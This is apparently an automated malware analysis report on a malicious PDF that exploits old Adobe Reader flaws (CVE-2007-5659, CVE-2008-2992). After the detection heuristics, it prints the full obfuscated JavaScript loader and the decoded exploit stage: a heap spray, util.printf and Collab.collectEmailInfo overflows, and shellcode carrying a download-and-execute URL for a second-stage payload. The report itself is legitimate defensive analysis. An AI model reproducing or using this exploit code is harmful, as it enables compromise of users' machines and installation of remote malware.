Malicious PDF — malware analysis report

Static analysis result for SHA-256 75a0ef43cb07f323…

MALICIOUS

PDF

17.3 KB Created: 2009-07-29 02:47:57 Authoring application: EhqQvF90ZgU (via zAMTRx) First seen: 2013-08-19
MD5: f424738669497a2f1ea38aba1cc154c1 SHA-1: 3ceaf6aeea51a17aed9ae0e521f58954471328eb SHA-256: 75a0ef43cb07f32371b376e473f51396b3317d5712b032cdd6eca9906e95bada
498 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that leverages multiple CVEs (CVE-2007-5659, CVE-2008-2992) to execute arbitrary code. The embedded JavaScript, after deobfuscation, contains a URL that is used to download a second-stage payload. This indicates a clear exploit and download pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(kR0vR4eqsbOad);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x221 16370 bytes
SHA-256: e2cfa86b74ff72e27a649482fd8bc974b3a6b8a965143692262c7f1c2a89c606
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var zc8rqjLLd45R="";
                                var kR0vR4eqsbOad="";
                                function DaKaKxhCoQY0( A7H9QLZBx0 ) {
                                    var MEVb7wl2Opg = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var QIdIwK3Wecrc, qQkca, ypKqvHb, VReu9wXRsrT, hyL3ud, IJ6VEESlfLd0k, R2JgNss, dsWzE, RrClBIHPWkAB6o = JyasIHFA0ZB37 = 0, If69rqJ = "", RCohngz6v0EV = [];
                                    A7H9QLZBx0 += "";
                                    do {
                                        VReu9wXRsrT = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        hyL3ud = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        IJ6VEESlfLd0k = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        R2JgNss = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        dsWzE = VReu9wXRsrT<<18 | hyL3ud<<12 | IJ6VEESlfLd0k<<6 | R2JgNss;
                                        QIdIwK3Wecrc = dsWzE>>16 & 0xff;
                                        qQkca = dsWzE>>8 & 0xff;
                                        ypKqvHb = dsWzE & 0xff;
                                        if (IJ6VEESlfLd0k == 64) {
                                            RCohngz6v0EV[JyasIHFA0ZB37++] = String.fromCharCode(QIdIwK3Wecrc);
                                        } else if (R2JgNss == 64) {
                                            RCohngz6v0EV[JyasIHFA0ZB37++] = String.fromCharCode(QIdIwK3Wecrc, qQkca);
                                        } else {
                                            RCohngz6v0EV[JyasIHFA0ZB37++] = String.fromCharCode(QIdIwK3Wecrc, qQkca, ypKqvHb);
                                        }
                                    } while (RrClBIHPWkAB6o < A7H9QLZBx0.length);
                                    If69rqJ = RCohngz6v0EV.join("");
                                    If69rqJ = yigstr(If69rqJ);
                                    return If69rqJ;
                                }
                                function yigstr ( QIdIwK3Wecrc ) {
                                    var qQkca = [], ypKqvHb = VReu9wXRsrT = A7H9QLZBx0 = hyL3ud = IJ6VEESlfLd0k = 0;
                                    QIdIwK3Wecrc += "";
                                    while ( ypKqvHb < QIdIwK3Wecrc.length ) {
                                        A7H9QLZBx0 = QIdIwK3Wecrc.charCodeAt(ypKqvHb);
                                        if (A7H9QLZBx0 < 128) {
                                            qQkca[VReu9wXRsrT++] = String.fromCharCode(A7H9QLZBx0);
                                            ypKqvHb++;
                                        } else if ((A7H9QLZBx0 > 191) && (A7H9QLZBx0 < 224)) {
                                            hyL3ud = QIdIwK3Wecrc.charCodeAt(ypKqvHb+1);
                                            qQkca[VReu9wXRsrT++] = String.fromCharCode(((A7H9QLZBx0 & 31) << 6) | (hyL3ud & 63));
                                            ypKqvHb += 2;
                                        } else {
                                            hyL3ud = QIdIwK3Wecrc.charCodeAt(ypKqvHb+1);
                                            IJ6VEESlfLd0k = QIdIwK3Wecrc.charCodeAt(ypKqvHb+2);
                                            qQkca[VReu9wXRsrT++] = String.fromCharCode(((A7H9QLZBx0 & 15) << 12) | ((hyL3ud & 63) << 6) | (IJ6VEESlfLd0k & 63));
                                            ypKqvHb += 3;
                                        }
                                    }
                                    return qQkca.join("");
                                }

                zc8rqjLLd45R= DaKaKxhCoQY0("function lnzH8EcTUui(lwmz041tjPoxY){ return String['fromCharCode'](lwmz041tjPoxY);} function nTJyPMSoAt(bWTDu2v){ var Ru5kQu=0, KUn49yl08Wii7=bWTDu2v.length, V6bPX=1024, UQBswf6rg2, bVBZe0LoHr, Ryj34='', zak22wtxb=Ru5kQu, fI1DoWOOAYjzq=Ru5kQu, SqaFseaKFL=Ru5kQu, JHEEtD4=Array(63,53,32,9,49,37,50,31,23,34,0,0,0,0,0,0,6,59,15,14,43,42,20,54,35,45,61,17,60,40,51,12,44,52,57,41,1,22,18,58,28,27,47,0,0,0,0,29,0,36,3,21,13,0,30,19,39,56,7,8,62,4,5,26,46,2,10,55,24,25,33,48,38,11,16); for(bVBZe0LoHr=Math.ceil(KUn49yl08Wii7/V6bPX);bVBZe0LoHr>Ru5kQu;bVBZe0LoHr--){ for(UQBswf6rg2=Math.min(KUn49yl08Wii7,V6bPX);UQBswf6rg2>Ru5kQu;UQBswf6rg2--,KUn49yl08Wii7--){ SqaFseaKFL|=(JHEEtD4[bWTDu2v.charCodeAt(zak22wtxb++)-48])<<fI1DoWOOAYjzq; if(fI1DoWOOAYjzq){ Ryj34+=lnzH8EcTUui(157^SqaFseaKFL&255); SqaFseaKFL>>=8; fI1DoWOOAYjzq-=2; } else { fI1DoWOOAYjzq=6; } } } eval(Ryj34); } nTJyPMSoAt('kNZEjYJRKbrWNHZAlN7Ai8AZi9fEpxEDi9fEpxEDi9fEpxEDi9fDYHJsi9pDp9Wsi9lEDWdSi9fSIldSi9fSIGrDi9CGYAEDi9CGZxEDi9CG7Zdsi9CG5GrEi9lGYHIsi9lGYZJGi9fS7DWGi9fGYhrGi9CGYHJGi9lES9JGi9CGp6JGi9CSYZoEi9fEZpIDi9CSYZoEi9lEtHIEi9CGYsEDi9CGYHJsi9lES9JGi9lsaGEDi9lEPUEEi9CGP6dDi9fDEGEDi9CGYNrDi9CGYHJGi9CsXZWEi9lsa9Jsi9pEEUEEi9lEM6rDi9fDE9dDi9CGYNWGi9CGYHJGi9CsXZWEi9lsa9IEi9psX8EEi9CDI9WGi9fDEloGi9CGYsoGi9CGYHJGi9CsXZWEi9lsa9IDi9fDIUEEi9fDY0rDi9fDEUWGi9CGYAWsi9CGYHJGi9CsXZWEi9lsapJGi9lDt8EEi9fDXgWEi9fDE9EEi9CGY0rSi9CGYHJGi9CsXZWEi9CsYZJsi9fGEpWGi9CSX0Esi9lED6rEi9lGE6dsi9CG5GWEi9CGYHdGi9lsP9JGi9CSXZWEi9lESWJsi9CG7Ndsi9CGt8rEi9lESlJEi9lGEldsi9fDEldSi9CGYZoEi9CGYHJGi9fSElJGi9lGMxdSi9CSYA_Di9pE5GEEi9CGYHJGi9lED9JGi9lGp6dsi9lDXZoEi9lDYZEsi9lEDlJGi9psYNdsi9CDIUEEi9CGYHJGi9lsYHJGi9CsXZoEi9fSMpJsi9lsD9_Gi9lsXZoEi9fDEpIEi9CGY8rGi9CGYHJGi9CsXHIsi9lD5WJGi9lsp9JGi9psPVrDi9lD5Ursi9CG7NJGi9fSXgEEi9CGYHJGi9CSXNoDi9lESWJGi9CGp6dsi9CGt8rEi9lESlJEi9lGEldsi9CsYsEEi9CGYHJGi9fSM9JGi9lsE9_Si9CsXHIsi9fGfAJsi9lsfAoEi9CDIlIsi9psYgrsi9lsf0JGi9CsXZoEi9fSMpIDi9lsD9dsi9lsXZoEi9fDEpIEi9CGYAIsi9CGYHJGi9CGY8rEi9CSXNoDi9lESWJGi9CGE6dsi9CGu8rEi9lESlJEi9lGEldsi9lGYsEEi9CGYHJGi9fSM9JGi9lES6oDi9lGYNdsi9CGt8rEi9lESlJEi9lGEldsi9CGYsEEi9CGYHJGi9CstHJGi9lsu0_Ei9fDtHIsi9fDtHIsi9fDtHIsi9fDtHIsi9fDppEsi9lsM9Jsi9lESlIsi9fDuArEi9lsuNoSi9fDYNoDi9lESldsi9lESGEDi9CGEVWDi9lsZpoEi9lsa9IDi9CSfZoEi9lESxIDi9lGPVWsi9CGfgEEi9lsa6Esi9CSapoEi9CGfAJGi9fGfNEsi9CsDlWEi9fEZ6dGi9lDfHIsi9fGf0dSi9CGI6rSi9lGYHrDi9CDuhdEi9CGEVWsi9lDPlrGi9CGfHJDi9CsYNoGi9CDtsoEi9CDPx_Ei9CSX0dDi9lsMGrsi9fDSpoEi9lsMpoEi9CGfAJsi9fSaWWDi9CGppoEi9lES6_Ei9lGpldEi9pDZ9Isi9CG7ZoEi9CGfZoEi9lsPlrsi9lDu0JDi9CGYHIEi9CD7sEEi9CDI6rDi9lsXNoDi9Cspl_Gi9CsI6JDi9CGYNdDi9pESpoSi9pEIEoEi9lDYArsi9lEElWGi9lEPEWDi9lEuDEDi9lDtZrDi9lEYZEDi9lDYZoGi9pEIEEDi9pDDpEsi9lEf0WGi9lEPpWGi9lDtZoEi9lE5EoDi9fDIEoD0VDSJpC0ZsY4QHWsSqI629lLiAp0LsCl1lypMsrsI6dpMsrsI6JZQoWWL0fZNbBMZGESDN0AJpZl2CBLG9O0EfP1hjJP4H0LWhfJxEfJQjBl1UOJMl_EzDLP4H0LWhfJvpZlQUOJMl_EzDPI2UOJMl_EzDPSDN0AJCBL00CMngBE7hrQrBDAM0ZAS0CJND7II@AlWgDSDN0AJWfWQDBMngBE7hrQrBDAM0ZAS0CJND7II@Y4QHWsSqI6N@BlND7W1bAlWgDSE8BJ4H7IphCJWBYLiBZlS8ZIAD7MIUlEIGoDIVDASgZl2WfWQDZIphCJWYALw00AxpC0Zsy0Z0CL2CBlEsysZ0C0a8yIxpZLZ8yJhboDxV0Rv6WDIGESQ7pIGVDRL0lAwYOJhbOMphCJWYy6LDW4U7fQ2ZC0ZsA1DfILy8PsRZOWPpElSqWZPlrS0oAZaVrSaVrSaVWZGlySaVrSalDI0VrSaVWZGlYS5UoS5UoS0oAZ5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS0oAZ5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UWZGlYS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UWZGlYS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5UoS5lDI0UoS5UoS5UoS5UoS5UWZGlYS5UoS5UoS5UoS5UoS5UoS5UoS0oAZ5UoS5UoS5UoS5UoS5UWZx9fWQj0PI0CJNhll1lypS9oDIGWl0@A1DfILy8PsRZOWPpElSVDSAHlLlhCJ6B7ZX0XJ4DCGa7LJp7XAjh7IQGDRJpC0ZsA6KHoRd0O6ZZ0E5H_Z2GALiDfZX0lALgfIQooZAHlLlhCJ6B7ZON0LM0W6WgpJi8O6n8oIZjZ1pDoN4GANPYJQrsP1Gsf1QGDRJEfJQjBlJUAA4YIAEGLP4H0LWhfJsloMBNp1gDXNUY7AcgDRZjZ1pDoNJoyMJlfLUApEdYriJlfLUApEdsyMJlfLUApEdBDAM0ZAS0CJND7II@ANPYJQrsP1Gsf16lrIxGAAihCWZB7ZZjZ1pDoNxGyiJpBWNA7WQy0LJ6IszgEAUAp6pbdE1VYZxsAWL0fZNN_LPWEAdApQYh_Z2GYD5sE0IW7DlsE0xGAWL0fZRhZErAPQZHr0tAINJqoZMBBlpAB0IH7I09yWSWoEp9yWSWoEp9yWSWoEp9yWIpdG7HyWpWrE7HyWDpEsa9yW5GWsa9yW5GoDP9yWtZIDp9yWt0oEp9yWt0JGXHyWt8oDM9yWYZdGfHyWYZJGYHyW5lIEYHyWuZ_EtHyWtZdGYHyWDxrGYHyWtArsYHyWapJES9yWSlWGp9yWapJES9yWD9dGE9yWtZ_Dp9yWtZdG7HyWDxrGYHyW7goDp9yWD6oSE9yWtNrsP9yWIEoDp9yWtZdDP9yWtZdGYHyWXNJED9yW7grG7HyWEEoSE9yWD9rDP9yWIErGP9yWtZdDYHyWtZdGYHyWXNJED9yW7grGE9yWfN_SE9yWPGrEYHyWIEWDuHyWtZ_DuHyWtZdGYHyWXNJED9yW7grGp9yWIGoSE9yWIpJDP9yWIEoSYHyWtZID7HyWtZdGYHyWXNJED9yW7gWGYHyWZ9_SE9yWI6dSD9yWIErEE9yWtZJDa9yWtZdGYHyWXNJED9yWXZJG7HyWuDWEYHyWa6JDfHyWDprDM9yWYDrsXHyWt8oDD9yWtZdGtHyW7NrGYHyWa6JED9yWDxEs7HyWt0dsXHyWtH_SM9yWDxWsD9yWYDWsXHyWIEWsa9yWtZJES9yWtZdGYHyW5EWsYHyWYHoGa9yWapIsI9yWEUoDE9yWtZdGYHyWDprGYHyWYArsXHyWZ6JES9yWZpJEfHyWDpWsYHyWfZdsXHyWPGoSE9yWtZdGYHyW7ZdGYHyWXNJES9yW59WG7HyW7ZrGuHyW7NJES9yWIEWGE9yWtZ_StHyWtZdGYHyWXNdGfHyWZUEsYHyW7ArGYHyWfNrSP9yWZUoSXHyWt0dsYHyW56dSE9yWtZdGYHyWa6dDI9yWDxEsYHyWtArsXHyWtH_SM9yWDxWsD9yWYDWsXHyWXZ_DE9yWtZdGYHyW59rGYHyW7DrG59yWXNdGfHyWuAIs7HyW7AIDS9yWPGWsfHyWfZdSXHyW7AJsYHyWXNJES9yW59WGp9yW7ZrGXHyW7NJES9yWIEWGE9yWtZIsfHyWtZdGYHyWtZ_SM9yWa6dDI9yWDxEsYHyWtDrsXHyWth_SM9yWDxWsD9yWYDWsXHyWYZ_DE9yWtZdGYHyW59rGYHyWDxrDI9yWYZdsXHyWtH_SM9yWDxWsD9yWYDWsXHyWtZ_DE9yWtZdGYHyWXHdGYHyW7hJsS9yWI9dGfHyWI9dGfHyWI9dGfHyWI9dGfHyWIWWEfHyW7HrG7HyWDxWsfHyWIxIDM9yW7hdD59yWIpdDI9yWDxWsXHyWDxoDp9yWtDrSZ9yW70WES9yW7grGp9yWaWJES9yWDxoGp9yWYNrS7HyWtAdSE9yW7grDfHyWaVWES9yWtAIsYHyWuAdDfHyWXZWDD9yWSlrstHyWZWdGfHyWuAJsa9yWtsrDa9yWYZdEP9yWPx_GM9yWtDrS7HyWZ6WDtHyWtAdGZ9yWXZdDuHyWP9_DS9yWP6oGS9yWa6JsP9yW7HoDXHyWIxWES9yW7HWES9yWtAIs7HyW5VEDZ9yWtAWES9yWDxrsS9yWYAWsM9yWplrGfHyWt0JES9yWtAJES9yW7NWDXHyWZxJsZ9yWtZdGE9yWPl_DE9yWPGrDP9yW7NdDI9yWXAWsuHyWXsrsZ9yWtZdsP9yWDVEDYHyWpxJES9yWEWWDD9yWDWIEI9yWpxEDu0yIxGAWL0fZ0H_G5UJEJqoZIUfEIGoDIGESJpC0Zsys3b0QYgXZ2GYlRDE6CyJAM6BGfALP4H0LWhfJJfYZZooZDN0AJlOAUBI6dYIJI8_Z2GA0th_ScZoZwGYIXhOLgZd4GGoRpUrIxGAWL0fZZjZ1pDoNJqoZMBBlpAB0IH7I09yWaGrSI9yWaGrSIlyIxGAA4YIAEGXZ2GyNLBBWZpPlaYBlnHX45UAA4YIAEGXPJlOAUBI6dYIJI8dIxGAWL0fZNZo6G8f4U0_Z2GYINN_LPWEAdApQYh_ZwGYD5hoDIGoDIVDP0H_G5UJExGAl60fZ1pC0ZsY4h0LNSqoDxULRB0XEvC0E3Y7RnYJsxULRB0XEGoyIJofZyjdE5sLNk0llDUCG@8LRB0XEesyMJlfLUApEdsDIJx7lEEPNV0CELHIsCYoZ2syiJpBWNA7WQy0LJxXLIb7GcNllVZoWy8yIJofZDN0AJUpDnAXAD8ZQEho6dB0NJqoZLsfANpCJiDClZZOlZACJ6B0PSyZNS0CJND7IQooZ5Ao4CslW1yIWSxXNN0XZ2GYRpUPNIZfJVDfE3sLLBBAAisfLLABl1rYwuyDl4lAZQooZDN0AJo7l1ZpQnsyMJCBlEsysZ0C0a8YRpUPNIZfJVDfE3sLLBBD01N0AXhfIIVYP5Ao4CslW1yIWSxXNN0LPl8B0ZN_W16rI4UpDnAXAD8ZQEho6dB0NNW7JL0CsS8ADQVDSJV0lJUYIGh7JDy_4@srwJqrMJUoZApYZ1UDJR80WV8P4PqXZ2qoZPGApAGDJR80WV8P4ZqXZvGADQGYivsDJR80WV8P4PqXZvGyDQVYZvjfZ1o7l1ZpQnYXDesyM2GDEJpApJo7l1ZpQnYODesYMJ6rIJ@fiJUDJR80WV8P4IqXZvGDEQVYZxsysfbdSpYIArACQMUyIxGAWL0fZlyB4cAdlXg0DIo7Z2GyWNHZAlN7Ai8AZi9fDlsE0i9fDlsE00VDSJEfJQjBl1WZLm8IsiNdJZGEJN@BlND7W1sYMJxoEa9WDQGD06gX1fHBsQ0oDGsDI2GD06gX1fHBsQ0oDGYoZS8BJpBD06j7LL0ZNSy0AisyMJWIL4jB00BD06j7LiA7WtbB0QjB1NZZL1opAM00JhGAZ0@yLpD0SJWZLm8IsiNdJZGEJ2gDSJqfZ2sY64sCLu8dAAyJESZXIQooZ2b');");
                kR0vR4eqsbOad=DaKaKxhCoQY0(zc8rqjLLd45R);
                eval(kR0vR4eqsbOad);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x1173 4531 bytes
SHA-256: 3ccf71370d7a298970f9f0e1e238494ede120c81766d2d35cb8f1139c0ab072c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Ua7ZKzL=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var Xi5B4MW=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+Ua7ZKzL.length;while(Xi5B4MW.length<fg)Xi5B4MW+=Xi5B4MW;var nmbr=Xi5B4MW.substring(0,fg);var stig=Xi5B4MW.substring(0,Xi5B4MW.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+Ua7ZKzL}var J6JoVXCdVu16g4="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",J6JoVXCdVu16g4);function ARhlwEyZjsZpZd() { var VL5xPRUrf6xE = new Array(); function Qanu2VgykeXUX8(rlKs7P, RqKNWPKkpH) { while (rlKs7P.length*2<RqKNWPKkpH){rlKs7P += rlKs7P;} rlKs7P = rlKs7P.substring(0,RqKNWPKkpH/2); return rlKs7P; } function ACM9sKsWsM5() { var nAl13sPsOFD = 0x0c0c0c0c; var dd7WSOr5aECS = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var bED8H6 = 0x400000; var ATmNFY = dd7WSOr5aECS.length * 2; var RqKNWPKkpH = bED8H6 - (ATmNFY+0x38); var rlKs7P = unescape("%u9090%u9090"); rlKs7P = Qanu2VgykeXUX8(rlKs7P, RqKNWPKkpH); var n6TkxXKB = (nAl13sPsOFD - 0x400000)/bED8H6; for (var XzRR4=0;XzRR4<n6TkxXKB;XzRR4++) { VL5xPRUrf6xE[XzRR4] = rlKs7P + dd7WSOr5aECS; } } function TlpmDHqfO6tV() { var x3XSpvhOw4TPnR = app.viewerVersion.toString(); x3XSpvhOw4TPnR = x3XSpvhOw4TPnR.replace(/\D/g,""); var kdhvOX = new Array(x3XSpvhOw4TPnR.charAt(0),x3XSpvhOw4TPnR.charAt(1),x3XSpvhOw4TPnR.charAt(2)); if ((kdhvOX[0] == 8 && ((kdhvOX[1] == 1 && kdhvOX[2] < 2) || kdhvOX[1] < 1)) || (kdhvOX[0] == 7 && kdhvOX[1] < 1) || (kdhvOX[0] < 7)) { ACM9sKsWsM5(); var coYHCeAi20k = unescape("%u0c0c%u0c0c"); while(coYHCeAi20k.length < 44952) coYHCeAi20k += coYHCeAi20k; this.collabStore = Collab.collectEmailInfo({subj: "",msg: coYHCeAi20k}); } } TlpmDHqfO6tV(); }

Open this report in the interactive analyzer, or submit your own file for analysis.